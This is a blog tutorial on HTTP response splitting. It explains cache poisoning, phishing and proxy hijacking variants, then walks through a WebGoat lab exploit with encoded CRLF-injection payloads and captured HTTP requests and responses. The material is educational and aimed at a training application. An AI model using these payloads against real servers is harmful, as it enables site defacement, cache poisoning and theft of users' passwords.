A french version of this article is also available.
description
In a normal operation, each client sends an Http request, and the server responds.With an http splitting attack, an attacker fills the form with malformed datas (textField). The server then sends back two responses, one of which was created by the attacker.
cache poisoning
the attacker sends two requests, a first malformed one and a second valid one. The server sends back two responses from the first request, and a third one from the second request. The server cache makes an association between the second request (created by the attacker) and the second request (valid). The attacker can obtain a defacement of the website.next generation phishing
This is a special case of the previous cache poisoning technique. The attacker choses, in his second request, a password form webpage. He puts a copy of this page in his first request . This page redirects the request to a server controled by the attacker. The vulnerable server caches this page for further requests.As a result, when a victim asks later for the server password webpage, she is instead redirected to the attacker webpage (phishing). The attacker can store the victim pasword.
webpage hijacking
The next step of attacks is the hijacking of webpages containing user datas, when a (not vulnerable) proxy is placed between the vulnerable server and the client.The attacker sends a malformed request (1) to the proxy.
The proxy redirects the malformed request (1) to the server. The server sends back the two splitted responses (1) and (2) to the proxy.
A victim sends a regular request (3) to the server through the proxy. The proxy sends immediatly the response (2) as the response to this request. The server sends the response to the request (3) to the proxy. This response holds user's personal data.
The attacker sends another request (4) to the proxy. The proxy immediatly sends to the attacker the response (3).
method
For an illustration of the method, please see Yehg video([9]) and Ajax blog ([6]).In this example we conduct a cache poisoning attack. Here is the injected text:
"Content-Length: 0
HTTP/1.1 200 OK
Last-Modified: Fri, 31 Dec 2099 23:59:59 GMT
coucou"
When this text is encoded in http, replace:
- ":" by %3A
- "space" by %20
- "carriage return" by %0A
- "," by %2c
- "/" by %2F
- "<" by %3C
- ">" by %3E
result in http:
"Content-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0A%3Chtml%3E%0Acoucou%3C%2Fhtml%3E"
replace every %0A by %0A%0D:
"Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E"
To encode en replace %0A, let's use PHP charset encoder http://h4k.in/encoding/ (cf Yegh video [9]).
explanations
This technique needs a redirection of pages:Remember: with this method, the server must put data entered by the attacker in the header of a redirected request ( code 3xx, "Set-Cookie" or "Location" fields):
In the http protocol, with a redirection, data are put in the header of the new redirected request [3].
usually, they are in header's fields "Set-Cookie" or "Location".
Why %0d%0a?
CR = Carriage return ( %0d or \r or ASCII 13)
LF = Line Feed (%0a or \n or ASCII 10)
http is built as follow:
- initial line, ends with CRLF
- header lines, ends with CRLF
- blank line (= CRLF)
- body.
As our string must be interpreted as an http request we replace LF by CRLF.
Why a cache poisoning?
Response from server contains line Last-Modified, with date defined as 2099.
HTTP/1.1 200 OK
Last-Modified: Fri, 31 Dec 2099 23:59:59 GMT
coucou
this page is associated with any further request to the server: As its date is bigger than the current date, it is never replaced by a newer one.
What happen on server side?
Let's use the example given with WebGoat. Let's intercept http requests with WebScarab:
Write "essai" in textfield
The request sent to Server (A) is:
POST http://localhost:80/webgoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Content-Type: application/x-www-form-urlencoded
Content-length: 31
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
language=essai&SUBMIT=Search%21
redirection response (302) received from server (A) is:
HTTP/1.1 302 Déplacé Temporairement
Server: Apache-Coyote/1.1
Location: http://localhost/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=essai
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Sat, 19 Dec 2009 17:12:27 GMT
result:
- this response is a redirection (status code 302),
- our string is put in field "Location" of the header
Server (A) redirects the request to server (B):
GET http://localhost:80/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=essai HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100&Restart=3
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Response from server (B) shows the resulting page. Here it is (trunkated):
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Type: text/html;charset=ISO-8859-1
X-Transfer-Encoding: chunked
Date: Sat, 19 Dec 2009 17:37:46 GMT
Content-length: 33406
<.!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<.html xmlns="http://www.w3.org/1999/xhtml">
<.head>
<.meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<.title>HTTP Splitting
<.link rel= (...) />
<.script language= (...)
<.body class="page" (...)
Now inject malformed request:
Request from client to server (A) is:
POST http://localhost:80/webgoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Content-Type: application/x-www-form-urlencoded
Content-length: 251
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
language=Content-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250ALast-Modified%253A%2520Fri%252C%252031%2520Dec%25202099%252023%253A59%253A59%2520GMT%250D%250A%253Chtml%253E%250D%250Acoucou%253C%252Fhtml%253E&SUBMIT=Search%21
Redirection response (302) receivd from server (A) is:
HTTP/1.1 302 Déplacé Temporairement
Server: Apache-Coyote/1.1
Location: http://localhost/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Sat, 19 Dec 2009 17:26:09 GMT
Server (A) "believes" it redirects request to server (B):
GET http://localhost:80/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=Content-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100&Restart=3
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
This response is encapsulated by http protocol in TCP datagrams as follow:
* empty redirection request sent to server (B)
GET http://localhost:80/webgoat/attack?Screen=3&menu=100&fromRedirect=yes&language=Content-Length%3A%200
* end of the request
%0D%0A
%0D%0A
* response sent in current TCP session (to attacker)
HTTP%2F1.1%20200%20OK%0D%0ALast-Modified%3A%20Fri%2C%2031%20Dec%202099%2023%3A59%3A59%20GMT%0D%0A%3Chtml%3E%0D%0Acoucou%3C%2Fhtml%3E
* data rejected (not compatible with http protocol):
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost/webgoat/attack?Screen=3&menu=100&Restart=3
Cookie: JSESSIONID=93E6CFEC40001E4F08A62D2B3467ECCE
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
- and here is the second message sent by server (A) to attacker:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Type: text/html
X-Transfer-Encoding: chunked
Date: Sat, 19 Dec 2009 17:28:10 GMT
Content-length: 21
coucou
remarks
- Splitting attacks can be logged by target site if they are sent with GET method. Usually, it is not the case as attackers should prefer using POST requests ([2], page 24).- splitting attack defacement is not detected by anti-defacement IDS. Indeed, these IDS alayse usually static pages, and not the cache.
- This attack is possible because of 1.1 http version. Http 1.1 allows client and server to exchange multiple requests in a same TCP session. Before, Http 1.0 needed a TCP connexion for each http exchange.
Tools
java-JRE http://www.java.com/fr/download/
OWasp WebGoat http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
PHP charset encoder http://h4k.in/encoding/
references
1) Wikipedia - Http response splitting - http://en.wikipedia.org/wiki/HTTP_response_splitting
2) Sanctum Inc, Http response Splitting whitepaper - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
3) James Marshall - Http made really easy - http://www.jmarshall.com/easy/http/#structure
4) Web application security consorsium - Http response splitting - http://www.webappsec.org/projects/threat/classes/http_response_splitting.shtml
5) Securiteam - http response splitting - http://www.securiteam.com/securityreviews/5WP0E2KFGK.html
6) Ajax - Séparation de réponse http - http://blog.4j4x.net/?p=15
7) publication du CERT-IST - les attaques de type "http response splitting" http://www.cert-ist.com/fra/ressources/Publications_ArticlesBulletins/Veilletechnologique/HTTP_spliting/
8) OWasp - Http response splitting - http://www.owasp.org/index.php/HTTP_Response_Splitting
9) yehg - vidéo décrivant une exploitation de http splitting attack - http://yehg.net/lab/pr0js/training/webgoat.php
9) MISC n°24 - http://www.unixgarden.com/index.php/administration-reseau/smuggling-et-splitting-du-html
Aucun commentaire:
Enregistrer un commentaire